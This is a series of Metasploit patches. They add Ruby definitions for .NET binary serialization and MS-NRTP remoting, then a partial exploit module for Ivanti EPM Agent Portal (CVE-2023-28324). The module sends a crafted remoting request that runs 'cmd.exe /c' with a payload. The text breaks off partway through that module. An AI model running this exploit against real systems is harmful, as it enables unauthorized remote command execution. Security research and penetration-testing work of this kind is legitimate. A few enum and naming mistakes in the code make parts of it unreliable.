From 1c84d5719f6593df19dc76fa3bc1d07850b64152 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Tue, 24 Sep 2024 17:34:55 -0400 Subject: [PATCH 01/10] Add a basic MethodReturn definition --- lib/msf/util/dot_net_deserialization/types.rb | 3 ++- .../dot_net_deserialization/types/general.rb | 24 +++++++++++++++++++ .../types/record_values.rb | 10 ++++++++ 3 files changed, 36 insertions(+), 1 deletion(-) diff --git a/lib/msf/util/dot_net_deserialization/types.rb b/lib/msf/util/dot_net_deserialization/types.rb index 98978a486327..9cb64faa2359 100644 --- a/lib/msf/util/dot_net_deserialization/types.rb +++ b/lib/msf/util/dot_net_deserialization/types.rb @@ -16,6 +16,7 @@ class Record < BinData::Record endian :little uint8 :record_type choice :record_value, selection: -> { record_type } do + # see: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nrbf/954a0657-b901-4813-9398-4ec732fe8b32 serialization_header_record Enums::RecordTypeEnum[:SerializedStreamHeader] class_with_id Enums::RecordTypeEnum[:ClassWithId] system_class_with_members Enums::RecordTypeEnum[:SystemClassWithMembers] @@ -35,7 +36,7 @@ class Record < BinData::Record #array_single_object Enums::RecordTypeEnum[:ArraySingleObject] array_single_string Enums::RecordTypeEnum[:ArraySingleString] #method_call Enums::RecordTypeEnum[:MethodCall] - #method_return Enums::RecordTypeEnum[:MethodReturn] + method_return Enums::RecordTypeEnum[:MethodReturn] end def self.from_value(record_value, parent: nil) diff --git a/lib/msf/util/dot_net_deserialization/types/general.rb b/lib/msf/util/dot_net_deserialization/types/general.rb index 90ea973f098b..f8519976c6f0 100644 --- a/lib/msf/util/dot_net_deserialization/types/general.rb +++ b/lib/msf/util/dot_net_deserialization/types/general.rb @@ -80,6 +80,30 @@ def selection_routine(index) end end + class MessageFlags < BinData::Record + # see: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nrbf/67213df2-7c15-4543-8e08-42ae0f7c66bf + endian :little + + bit1 :method_signature_in_array + bit1 :context_in_array + bit1 :context_inline + bit1 :no_context + bit1 :args_in_array + bit1 :args_is_array + bit1 :args_inline + bit1 :no_args + + bit1 :generic_method + bit1 :unused1 + bit1 :exception_in_array + bit1 :return_value_in_array + bit1 :return_value_inline + bit1 :return_value_void + bit1 :no_return_value + bit1 :properties_in_array + + uint16 :unused2 + end end end end diff --git a/lib/msf/util/dot_net_deserialization/types/record_values.rb b/lib/msf/util/dot_net_deserialization/types/record_values.rb index 79cfd2fc38d0..803562a8ff22 100644 --- a/lib/msf/util/dot_net_deserialization/types/record_values.rb +++ b/lib/msf/util/dot_net_deserialization/types/record_values.rb @@ -137,6 +137,16 @@ class SystemClassWithMembersAndTypes < BinData::Record extend Primitives::MemberValues::Factory end + + class MethodReturn < BinData::Record + # see: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nrbf/1b34e743-38ac-47bd-8c8d-2fca1cd417b7 + RECORD_TYPE = Enums::RecordTypeEnum[:MethodReturn] + endian :little + message_flags :message_enum + + # todo: implement the missing fields here but until then, add an assertion to raise an exception when an undefined field is present + virtual assert: -> { message_enum.return_value_inline == 0 && message_enum.context_inline == 0 && message_enum.args_inline == 0 } + end end end end From 574654888b01a75e7e333c6ebfa3881e727f19f3 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Wed, 25 Sep 2024 16:18:36 -0400 Subject: [PATCH 02/10] Add the BinaryMethodCall record definition --- lib/msf/util/dot_net_deserialization/types.rb | 5 +- .../types/common_structures.rb | 70 +++++++++++++++++++ .../dot_net_deserialization/types/general.rb | 1 + .../types/record_values.rb | 23 ++++-- 4 files changed, 91 insertions(+), 8 deletions(-) create mode 100644 lib/msf/util/dot_net_deserialization/types/common_structures.rb diff --git a/lib/msf/util/dot_net_deserialization/types.rb b/lib/msf/util/dot_net_deserialization/types.rb index 9cb64faa2359..91c9fa852bd9 100644 --- a/lib/msf/util/dot_net_deserialization/types.rb +++ b/lib/msf/util/dot_net_deserialization/types.rb @@ -7,6 +7,7 @@ class Record < BinData::Record; end # forward definition require 'msf/util/dot_net_deserialization/types/primitives' require 'msf/util/dot_net_deserialization/types/general' + require 'msf/util/dot_net_deserialization/types/common_structures' require 'msf/util/dot_net_deserialization/types/record_values' # @@ -35,8 +36,8 @@ class Record < BinData::Record array_single_primitive Enums::RecordTypeEnum[:ArraySinglePrimitive] #array_single_object Enums::RecordTypeEnum[:ArraySingleObject] array_single_string Enums::RecordTypeEnum[:ArraySingleString] - #method_call Enums::RecordTypeEnum[:MethodCall] - method_return Enums::RecordTypeEnum[:MethodReturn] + binary_method_call Enums::RecordTypeEnum[:MethodCall] + binary_method_return Enums::RecordTypeEnum[:MethodReturn] end def self.from_value(record_value, parent: nil) diff --git a/lib/msf/util/dot_net_deserialization/types/common_structures.rb b/lib/msf/util/dot_net_deserialization/types/common_structures.rb new file mode 100644 index 000000000000..b0183f3bf1da --- /dev/null +++ b/lib/msf/util/dot_net_deserialization/types/common_structures.rb @@ -0,0 +1,70 @@ +module Msf +module Util +module DotNetDeserialization +module Types +module CommonStructures + + # + # .NET Serialization Types (Common Structures) + # see: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nrbf/acd7fe17-615c-467f-b700-e5e8761b8637 + # + class ValueWithCode < BinData::Record + # see: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nrbf/0418b4a2-1e52-45dc-8622-1b619fa3ffec + endian :little + + uint8 :primitive_type_enum + choice :val, selection: :primitive_type_enum do + boolean Enums::PrimitiveTypeEnum[:Boolean] + uint8 Enums::PrimitiveTypeEnum[:Byte] + double Enums::PrimitiveTypeEnum[:Double] + int16 Enums::PrimitiveTypeEnum[:Int16] + int32 Enums::PrimitiveTypeEnum[:Int32] + int64 Enums::PrimitiveTypeEnum[:Int64] + int8 Enums::PrimitiveTypeEnum[:SByte] + float Enums::PrimitiveTypeEnum[:Single] + int64 Enums::PrimitiveTypeEnum[:TimeSpan] + date_time Enums::PrimitiveTypeEnum[:DateTime] + uint16 Enums::PrimitiveTypeEnum[:UInt16] + uint32 Enums::PrimitiveTypeEnum[:UInt32] + uint64 Enums::PrimitiveTypeEnum[:UInt64] + null Enums::PrimitiveTypeEnum[:Null] + length_prefixed_string Enums::PrimitiveTypeEnum[:String] + end + end + + class StringValueWithCode < BinData::Primitive + # see: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nrbf/ecc20dd0-1d83-4a22-b4b2-23c58b03dffc + endian :little + + uint8 :primitive_type_enum, value: Enums::PrimitiveTypeEnum[:String] + length_prefixed_string :string_value + + def get + self.string_value + end + + def set(v) + self.string_value = value + end + end + + class ArrayOfValueWithCode < BinData::Primitive + # see: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nrbf/330f623e-7412-46c9-8ae0-59543bbfee86 + endian :little + + int32 :list_length, initial_value: -> { list_of_value_with_code.length } + array :list_of_value_with_code, type: :value_with_code, initial_length: :list_length + + def get + self.list_of_value_with_code + end + + def set(v) + self.list_of_value_with_code = v + end + end +end +end +end +end +end diff --git a/lib/msf/util/dot_net_deserialization/types/general.rb b/lib/msf/util/dot_net_deserialization/types/general.rb index f8519976c6f0..9ee06616756e 100644 --- a/lib/msf/util/dot_net_deserialization/types/general.rb +++ b/lib/msf/util/dot_net_deserialization/types/general.rb @@ -104,6 +104,7 @@ class MessageFlags < BinData::Record uint16 :unused2 end + end end end diff --git a/lib/msf/util/dot_net_deserialization/types/record_values.rb b/lib/msf/util/dot_net_deserialization/types/record_values.rb index 803562a8ff22..b49c902e6a79 100644 --- a/lib/msf/util/dot_net_deserialization/types/record_values.rb +++ b/lib/msf/util/dot_net_deserialization/types/record_values.rb @@ -138,14 +138,25 @@ class SystemClassWithMembersAndTypes < BinData::Record extend Primitives::MemberValues::Factory end - class MethodReturn < BinData::Record + class BinaryMethodCall < BinData::Record + # see: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nrbf/ddb4da3d-8cd7-414f-b984-1a509d985bd2 + RECORD_TYPE = Enums::RecordTypeEnum[:MethodCall] + endian :little + message_flags :message_enum + string_value_with_code :method_name + string_value_with_code :type_name + string_value_with_code :call_context, onlyif: -> { message_enum.context_inline != 0 } + array_of_value_with_code :args, onlyif: -> {message_enum.args_inline != 0 } + end + + class BinaryMethodReturn < BinData::Record # see: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nrbf/1b34e743-38ac-47bd-8c8d-2fca1cd417b7 RECORD_TYPE = Enums::RecordTypeEnum[:MethodReturn] - endian :little - message_flags :message_enum - - # todo: implement the missing fields here but until then, add an assertion to raise an exception when an undefined field is present - virtual assert: -> { message_enum.return_value_inline == 0 && message_enum.context_inline == 0 && message_enum.args_inline == 0 } + endian :little + message_flags :message_enum + value_with_code :return_value, onlyif: -> { message_enum.return_value_inline != 0 } + string_value_with_code :call_context, onlyif: -> { message_enum.context_inline != 0 } + array_of_value_with_code :args, onlyif: -> {message_enum.args_inline != 0 } end end end From 39698ec1ed27e351939fecb719763177924a4b64 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Wed, 25 Sep 2024 16:53:05 -0400 Subject: [PATCH 03/10] Add the BinaryArray record definition --- lib/msf/util/dot_net_deserialization/enums.rb | 10 +++ lib/msf/util/dot_net_deserialization/types.rb | 4 +- .../types/record_values.rb | 85 ++++++++++++++----- 3 files changed, 77 insertions(+), 22 deletions(-) diff --git a/lib/msf/util/dot_net_deserialization/enums.rb b/lib/msf/util/dot_net_deserialization/enums.rb index 158e588c59d2..88b82f3ffd18 100644 --- a/lib/msf/util/dot_net_deserialization/enums.rb +++ b/lib/msf/util/dot_net_deserialization/enums.rb @@ -6,6 +6,16 @@ module Enums # # .NET Serialization Enumerations # +BinaryArrayTypeEnum = { + # see: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nrbf/4dbbf3a8-6bc4-4dfc-aa7e-36a35be6ff58 + Single: 0, + Jagged: 0, + Rectangular: 2, + SingleOffset: 3, + JaggedOffset: 4, + RectangularOffset: 5 +} + BinaryTypeEnum = { # see: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nrbf/054e5c58-be21-4c86-b1c3-f6d3ce17ec72 Primitive: 0, diff --git a/lib/msf/util/dot_net_deserialization/types.rb b/lib/msf/util/dot_net_deserialization/types.rb index 91c9fa852bd9..d4e27872ae39 100644 --- a/lib/msf/util/dot_net_deserialization/types.rb +++ b/lib/msf/util/dot_net_deserialization/types.rb @@ -25,7 +25,7 @@ class Record < BinData::Record system_class_with_members_and_types Enums::RecordTypeEnum[:SystemClassWithMembersAndTypes] class_with_members_and_types Enums::RecordTypeEnum[:ClassWithMembersAndTypes] binary_object_string Enums::RecordTypeEnum[:BinaryObjectString] - #binary_array Enums::RecordTypeEnum[:BinaryArray] + binary_array Enums::RecordTypeEnum[:BinaryArray] #member_primitive_typed Enums::RecordTypeEnum[:MemberPrimitiveTyped] member_reference Enums::RecordTypeEnum[:MemberReference] object_null Enums::RecordTypeEnum[:ObjectNull] @@ -34,7 +34,7 @@ class Record < BinData::Record #object_null_multiple_256 Enums::RecordTypeEnum[:ObjectNullMultiple256] #object_null_multiple Enums::RecordTypeEnum[:ObjectNullMultiple] array_single_primitive Enums::RecordTypeEnum[:ArraySinglePrimitive] - #array_single_object Enums::RecordTypeEnum[:ArraySingleObject] + array_single_object Enums::RecordTypeEnum[:ArraySingleObject] array_single_string Enums::RecordTypeEnum[:ArraySingleString] binary_method_call Enums::RecordTypeEnum[:MethodCall] binary_method_return Enums::RecordTypeEnum[:MethodReturn] diff --git a/lib/msf/util/dot_net_deserialization/types/record_values.rb b/lib/msf/util/dot_net_deserialization/types/record_values.rb index b49c902e6a79..aec8dc881500 100644 --- a/lib/msf/util/dot_net_deserialization/types/record_values.rb +++ b/lib/msf/util/dot_net_deserialization/types/record_values.rb @@ -30,6 +30,13 @@ class ArraySinglePrimitive < BinData::Record end end + class ArraySingleObject < BinData::Record + # see: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nrbf/982b2f50-6367-402a-aaf2-44ee96e2a5e0 + RECORD_TYPE = Enums::RecordTypeEnum[:ArraySingleObject] + endian :little + array_info :array_info + end + class ArraySingleString < BinData::Record # see: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nrbf/3d98fd60-d2b4-448a-ac0b-3cd8dea41f9d RECORD_TYPE = Enums::RecordTypeEnum[:ArraySingleString] @@ -38,6 +45,43 @@ class ArraySingleString < BinData::Record array :members, type: :record, initial_length: -> { array_info.member_count } end + class BinaryArray < BinData::Record + # see: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nrbf/9c62c928-db4e-43ca-aeba-146256ef67c2 + RECORD_TYPE = Enums::RecordTypeEnum[:BinaryArray] + endian :little + obj_id :obj_id + uint8 :binary_array_type_enum + int32 :rank + array :lengths, type: :int32, initial_length: :rank + array :lower_bounds, type: :int32, initial_length: :rank, onlyif: :has_lower_bounds? + uint8 :type_enum + choice :additional_type_info, selection: :type_enum, onlyif: :has_additional_type_info? do + uint8 Enums::BinaryTypeEnum[:Primitive] + length_prefixed_string Enums::BinaryTypeEnum[:SystemClass] + class_type_info Enums::BinaryTypeEnum[:Class] + uint8 Enums::BinaryTypeEnum[:PrimitiveArray] + end + + private + + def has_additional_type_info? + [ + Enums::BinaryTypeEnum[:Primitive], + Enums::BinaryTypeEnum[:SystemClass], + Enums::BinaryTypeEnum[:Class], + Enums::BinaryTypeEnum[:PrimitiveArray], + ].include? type_enum + end + + def has_lower_bounds? + [ + Enums::BinaryArrayTypeEnum[:SingleOffset], + Enums::BinaryArrayTypeEnum[:JaggedOffset], + Enums::BinaryArrayTypeEnum[:RectangleOffset] + ].include? binary_array_type_enum + end + end + class BinaryLibrary < BinData::Record # see: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nrbf/7fcf30e1-4ad4-4410-8f1a-901a4a1ea832 RECORD_TYPE = Enums::RecordTypeEnum[:BinaryLibrary] @@ -46,6 +90,27 @@ class BinaryLibrary < BinData::Record length_prefixed_string :library_name end + class BinaryMethodCall < BinData::Record + # see: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nrbf/ddb4da3d-8cd7-414f-b984-1a509d985bd2 + RECORD_TYPE = Enums::RecordTypeEnum[:MethodCall] + endian :little + message_flags :message_enum + string_value_with_code :method_name + string_value_with_code :type_name + string_value_with_code :call_context, onlyif: -> { message_enum.context_inline != 0 } + array_of_value_with_code :args, onlyif: -> { message_enum.args_inline != 0 } + end + + class BinaryMethodReturn < BinData::Record + # see: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nrbf/1b34e743-38ac-47bd-8c8d-2fca1cd417b7 + RECORD_TYPE = Enums::RecordTypeEnum[:MethodReturn] + endian :little + message_flags :message_enum + value_with_code :return_value, onlyif: -> { message_enum.return_value_inline != 0 } + string_value_with_code :call_context, onlyif: -> { message_enum.context_inline != 0 } + array_of_value_with_code :args, onlyif: -> { message_enum.args_inline != 0 } + end + class BinaryObjectString < BinData::Record # see: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nrbf/eb503ca5-e1f6-4271-a7ee-c4ca38d07996 RECORD_TYPE = Enums::RecordTypeEnum[:BinaryObjectString] @@ -138,26 +203,6 @@ class SystemClassWithMembersAndTypes < BinData::Record extend Primitives::MemberValues::Factory end - class BinaryMethodCall < BinData::Record - # see: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nrbf/ddb4da3d-8cd7-414f-b984-1a509d985bd2 - RECORD_TYPE = Enums::RecordTypeEnum[:MethodCall] - endian :little - message_flags :message_enum - string_value_with_code :method_name - string_value_with_code :type_name - string_value_with_code :call_context, onlyif: -> { message_enum.context_inline != 0 } - array_of_value_with_code :args, onlyif: -> {message_enum.args_inline != 0 } - end - - class BinaryMethodReturn < BinData::Record - # see: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nrbf/1b34e743-38ac-47bd-8c8d-2fca1cd417b7 - RECORD_TYPE = Enums::RecordTypeEnum[:MethodReturn] - endian :little - message_flags :message_enum - value_with_code :return_value, onlyif: -> { message_enum.return_value_inline != 0 } - string_value_with_code :call_context, onlyif: -> { message_enum.context_inline != 0 } - array_of_value_with_code :args, onlyif: -> {message_enum.args_inline != 0 } - end end end end From 4dbcde793b6b79e6ebccfa32ae431fd8e4848388 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Thu, 26 Sep 2024 17:02:27 -0400 Subject: [PATCH 04/10] Add the definitions for MS-NRTP messages --- .../proto/ms_nrtp/ms_nrtp_counted_string.rb | 25 +++++ lib/rex/proto/ms_nrtp/ms_nrtp_header.rb | 92 +++++++++++++++++++ lib/rex/proto/ms_nrtp/ms_nrtp_message.rb | 17 ++++ 3 files changed, 134 insertions(+) create mode 100644 lib/rex/proto/ms_nrtp/ms_nrtp_counted_string.rb create mode 100644 lib/rex/proto/ms_nrtp/ms_nrtp_header.rb create mode 100644 lib/rex/proto/ms_nrtp/ms_nrtp_message.rb diff --git a/lib/rex/proto/ms_nrtp/ms_nrtp_counted_string.rb b/lib/rex/proto/ms_nrtp/ms_nrtp_counted_string.rb new file mode 100644 index 000000000000..07f9129313e6 --- /dev/null +++ b/lib/rex/proto/ms_nrtp/ms_nrtp_counted_string.rb @@ -0,0 +1,25 @@ +module Rex::Proto::MsNrtp + class MsNrtpCountedString < BinData::Primitive + # see: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nrtp/fea06769-1899-422e-9230-ce3a58710c20 + endian :little + + uint8 :string_encoding + uint32 :string_length, initial_value: -> { string_data.length } + uint8_array :string_data, initial_length: :string_length + + def get + self.string_data.to_binary_s.force_encoding(self.string_encoding == 0 ? Encoding::UTF_16LE : Encoding::UTF_8) + end + + def set(v) + self.string_data = v.bytes + if v.encoding == Encoding::UTF_16LE + self.string_encoding = 0 + elsif v.encoding == Encoding::UTF_8 + self.string_encoding = 1 + else + raise ::EncodingError, 'strings must be UTF-8 or UTF-16' + end + end + end +end diff --git a/lib/rex/proto/ms_nrtp/ms_nrtp_header.rb b/lib/rex/proto/ms_nrtp/ms_nrtp_header.rb new file mode 100644 index 000000000000..eb9c7c43e798 --- /dev/null +++ b/lib/rex/proto/ms_nrtp/ms_nrtp_header.rb @@ -0,0 +1,92 @@ +require 'rex/proto/ms_nrtp/ms_nrtp_counted_string' + +module Rex::Proto::MsNrtp::MsNrtpHeader + class MsNrtpHeaderEnd < BinData::Record + # see: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nrtp/32803cc9-e5d2-4d76-8852-b2eba3af25ca + TOKEN = 0 + endian :little + end + + class MsNrtpHeaderCustom < BinData::Record + # see: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nrtp/709beed5-da49-45b0-bf1b-836da17352c3 + TOKEN = 1 + endian :little + + ms_nrtp_counted_string :header_name + ms_nrtp_counted_string :header_value + end + + class MsNrtpHeaderStatusCode < BinData::Record + # see: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nrtp/70cdb0d8-6a58-46ae-8cb0-6976a9c3720e + TOKEN = 2 + endian :little + + uint8 :data_type, value: 2 + uint16 :status_code_value + end + + class MsNrtpHeaderStatusPhrase < BinData::Record + # see: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nrtp/a9a0e845-56ba-4b4a-9561-93940f039150 + TOKEN = 3 + endian :little + + uint8 :data_type, value: 1 + ms_nrtp_counted_string :status_phrase_value + end + + class MsNrtpHeaderUri < BinData::Record + # see: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nrtp/2b1b47f7-4fed-4515-a0f9-e0688664c728 + TOKEN = 4 + endian :little + + uint8 :data_type, value: 1 + ms_nrtp_counted_string :uri_value + end + + class MsNrtpHeaderCloseConnection < BinData::Record + # see: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nrtp/f94572e8-c821-42a2-8b0f-dabe1cbc7e02 + TOKEN = 5 + endian :little + + uint8 :data_type, value: 0 + end + + class MsNrtpHeaderContentType < BinData::Record + # see: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nrtp/d128389c-7cf6-4f09-9928-287324836344 + TOKEN = 6 + endian :little + + uint8 :data_type, value: 1 + ms_nrtp_counted_string :content_type_value + end + + class MsNrtpHeaderUnknown < BinData::Record + # see: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nrtp/1cb3cf86-2a42-4f38-bfda-f4f546c629f5 + endian :little + + uint8 :data_type + choice :data_value, selection: :data_type, onlyif: -> { data_type != 0 } do + ms_nrtp_counted_string 1 + uint8 2 + uint16 3 + int32 4 + end + end + + class MsNrtpHeader < BinData::Record + # see: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nrtp/c9a3ae3b-f50f-4b02-8540-964b59918291 + endian :little + + uint16 :token + choice :header, selection: :token do + ms_nrtp_header_end MsNrtpHeaderEnd::TOKEN + ms_nrtp_header_custom MsNrtpHeaderCustom::TOKEN + ms_nrtp_header_status_code MsNrtpHeaderStatusCode::TOKEN + ms_nrtp_header_status_phrase MsNrtpHeaderStatusPhrase::TOKEN + ms_nrtp_header_uri MsNrtpHeaderUri::TOKEN + ms_nrtp_header_close_connection MsNrtpHeaderCloseConnection::TOKEN + ms_nrtp_header_content_type MsNrtpHeaderContentType::TOKEN + ms_nrtp_header_unknown :default + end + end +end diff --git a/lib/rex/proto/ms_nrtp/ms_nrtp_message.rb b/lib/rex/proto/ms_nrtp/ms_nrtp_message.rb new file mode 100644 index 000000000000..9655537d6769 --- /dev/null +++ b/lib/rex/proto/ms_nrtp/ms_nrtp_message.rb @@ -0,0 +1,17 @@ +require 'rex/proto/ms_nrtp/ms_nrtp_header' + +module Rex::Proto::MsNrtp + + class MsNrtpMessage < BinData::Record + # see: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nrtp/750a0ae4-b3e7-4c0e-97b1-8b95cffd04c5 + endian :little + + uint32 :protocol_id, value: 0x54454E2E + uint8 :major_version, initial_value: 1 + uint8 :minor_version, initial_value: 0 + uint16 :operation_type + uint16 :content_distribution + uint32 :content_length, onlyif: -> { content_distribution == 0 } + array :headers, type: :ms_nrtp_header, read_until: -> { element.token == MsNrtpHeader::MsNrtpHeaderEnd::TOKEN } + end +end From 619620733d8acc93d8b325c943d98a138f3362f3 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Tue, 1 Oct 2024 14:50:12 -0400 Subject: [PATCH 05/10] Add the initial Ivanti Agent Portal RCE --- lib/rex/proto/ms_nrtp/client.rb | 86 ++++++++++++ .../misc/ivanti_agent_portal_cmdexec.rb | 126 ++++++++++++++++++ 2 files changed, 212 insertions(+) create mode 100644 lib/rex/proto/ms_nrtp/client.rb create mode 100644 modules/exploits/windows/misc/ivanti_agent_portal_cmdexec.rb diff --git a/lib/rex/proto/ms_nrtp/client.rb b/lib/rex/proto/ms_nrtp/client.rb new file mode 100644 index 000000000000..b47d7a0a693e --- /dev/null +++ b/lib/rex/proto/ms_nrtp/client.rb @@ -0,0 +1,86 @@ +class Rex::Proto::MsNrtp::Client + + require 'rex/stopwatch' + require 'rex/proto/ms_nrtp/ms_nrtp_message' + + include Rex::Proto::MsNrtp + + # @return [String] The MS-NRTP server host. + attr_reader :host + + # @return [Integer] The S-NRTP server port. + attr_reader :port + + # @return [String] The server resource component of the URI string. + + # @return [Boolean] Whether or not SSL is used for the connection. + attr_reader :ssl + + # @return [Rex::Socket::Comm] An optional, explicit object to use for creating the connection. + attr_reader :comm + + # @!attribute timeout + # @return [Integer] The communication timeout in seconds. + attr_accessor :timeout + + # @param [String] host The MS-NRTP server host. + # @param [Integer,NilClass] port The MS-NRTP server port or nil for automatic based on ssl. + # @param [Boolean] ssl Whether or not SSL is used for the connection. + # @param [String] ssl_version The SSL version to use. + # @param [Rex::Socket::Comm] comm An optional, explicit object to use for creating the connection. + # @param [Integer] timeout The communication timeout in seconds. + def initialize(host, port, resource, context: {}, ssl: false, ssl_version: nil, comm: nil, timeout: 10) + @host = host + @port = port + @resource = resource + @context = context + @ssl = ssl + @ssl_version = ssl_version + @comm = comm + @timeout = timeout + end + + # Establish the connection to the remote server. + # + # @param [Integer] t An explicit timeout to use for the connection otherwise the default will be used. + # @return [NilClass] + def connect(t = -1) + timeout = (t.nil? or t == -1) ? @timeout : t + + @conn = Rex::Socket::Tcp.create( + 'PeerHost' => @host, + 'PeerPort' => @port.to_i, + 'Context' => @context, + 'SSL' => @ssl, + 'SSLVersion' => @ssl_version, + 'Timeout' => timeout, + 'Comm' => @comm + ) + + nil + end + + # Close the connection to the remote server. + # + # @return [NilClass] + def close + if @conn && !@conn.closed? + @conn.shutdown + @conn.close + end + + @conn = nil + end + + def send(data, content_type) + message = MsNrtpMessage.new( + content_length: data.length, + headers: [ + { token: MsNrtpHeader::MsNrtpHeaderUri::TOKEN, header: { uri_value: "tcp://#{Rex::Socket.to_authority(@host, @port)}/#{@resource}" } }, + { token: 6, header: { content_type_value: content_type } }, + { token: 0} + ] + ) + @conn.put(message.to_binary_s + data) + end +end diff --git a/modules/exploits/windows/misc/ivanti_agent_portal_cmdexec.rb b/modules/exploits/windows/misc/ivanti_agent_portal_cmdexec.rb new file mode 100644 index 000000000000..1bf5100a6ab4 --- /dev/null +++ b/modules/exploits/windows/misc/ivanti_agent_portal_cmdexec.rb @@ -0,0 +1,126 @@ +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework + +require 'rex/proto/ms_nrtp/client' + +class MetasploitModule < Msf::Exploit::Remote + include Msf::Exploit::Remote::Tcp + + Rank = ExcellentRanking + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Ivanti EPM Agent Portal Command Execution', + 'Description' => %q{ + Template description. + }, + 'Author' => [ + 'James Horseman', # original poc + 'Zach Hanley', # original poc + 'Spencer McIntyre' # metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => [ + ['CVE', '2023-28324'], + ['URL', 'https://github.com/horizon3ai/CVE-2023-28324'], + ], + 'Platform' => 'win', + 'Arch' => ARCH_CMD, + 'Targets' => + [ + [ 'Automatic', { } ], + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => '2023-06-30', # NVD publish date + 'Notes' => + { + 'Stability' => [ CRASH_SAFE, ], + 'SideEffects' => [ ], + 'Reliability' => [ REPEATABLE_SESSION, ], + } + )) + + register_options([ + Opt::RPORT(8080) + ]) + end + + def check + CheckCode::Unknown + end + + def exploit + ss = Msf::Util::DotNetDeserialization::Types::SerializedStream.new({:records=> + [{:record_type=>0, :record_value=>{:root_id=>1, :header_id=>-1, :major_version=>1, :minor_version=>0}}, + {:record_type=>21, + :record_value=> + {:message_enum=> + {:method_signature_in_array=>1, + :context_in_array=>0, + :context_inline=>0, + :no_context=>1, + :args_in_array=>1, + :args_is_array=>0, + :args_inline=>0, + :no_args=>0, + :generic_method=>0, + :unused1=>0, + :exception_in_array=>0, + :return_value_in_array=>0, + :return_value_inline=>0, + :return_value_void=>0, + :no_return_value=>0, + :properties_in_array=>0, + :unused2=>0}, + :method_name=>"Request", + :type_name=>"LANDesk.AgentPortal.IAgentPortal, AgentPortal, Version=11.0.0.0, Culture=neutral, PublicKeyToken=da26723fc8ab14fb"}}, + {:record_type=>16, :record_value=>{:array_info=>{:obj_id=>1, :member_count=>2}}}, + {:record_type=>9, :record_value=>{:id_ref=>2}}, + {:record_type=>9, :record_value=>{:id_ref=>3}}, + {:record_type=>16, :record_value=>{:array_info=>{:obj_id=>2, :member_count=>4}}}, + {:record_type=>6, :record_value=>{:obj_id=>4, :string=>"localhost"}}, + {:record_type=>9, :record_value=>{:id_ref=>5}}, + {:record_type=>6, :record_value=>{:obj_id=>6, :string=>'cmd.exe'}}, + {:record_type=>6, :record_value=>{:obj_id=>7, :string=>"/c #{payload.raw}"}}, + {:record_type=>7, :record_value=>{:obj_id=>3, :binary_array_type_enum=>0, :rank=>1, :lengths=>[4], :type_enum=>3, :additional_type_info=>"System.Type"}}, + {:record_type=>9, :record_value=>{:id_ref=>8}}, + {:record_type=>9, :record_value=>{:id_ref=>9}}, + {:record_type=>9, :record_value=>{:id_ref=>8}}, + {:record_type=>9, :record_value=>{:id_ref=>8}}, + {:record_type=>12, :record_value=>{:library_id=>11, :library_name=>"APCommon, Version=11.0.0.0, Culture=neutral, PublicKeyToken=da26723fc8ab14fb"}}, + {:record_type=>5, + :record_value=> + {:class_info=>{:obj_id=>5, :name=>"LANDesk.AgentPortal.IAgentPortalBase+ActionEnum", :member_count=>1, :member_names=>["value__"]}, + :member_type_info=>{:binary_type_enums=>[0], :additional_infos=>[8]}, + :library_id=>11, + :member_values=>[1]}}, + {:record_type=>4, + :record_value=> + {:class_info=>{:obj_id=>8, :name=>"System.UnitySerializationHolder", :member_count=>3, :member_names=>["Data", "UnityType", "AssemblyName"]}, + :member_type_info=>{:binary_type_enums=>[1, 0, 1], :additional_infos=>[8]}, + :member_values=> + [{:record_type=>6, :record_value=>{:obj_id=>12, :string=>"System.String"}}, 4, {:record_type=>6, :record_value=>{:obj_id=>13, :string=>"mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"}}]}}, + {:record_type=>1, + :record_value=> + {:obj_id=>9, + :metadata_id=>8, + :member_values=> + [{:record_type=>6, :record_value=>{:obj_id=>14, :string=>"LANDesk.AgentPortal.IAgentPortalBase+ActionEnum"}}, + 4, + {:record_type=>6, :record_value=>{:obj_id=>15, :string=>"APCommon, Version=11.0.0.0, Culture=neutral, PublicKeyToken=da26723fc8ab14fb"}}]}}, + {:record_type=>11, :record_value=>{}}]} + ) + + client = Rex::Proto::MsNrtp::Client.new( + datastore['RHOST'], + datastore['RPORT'], + 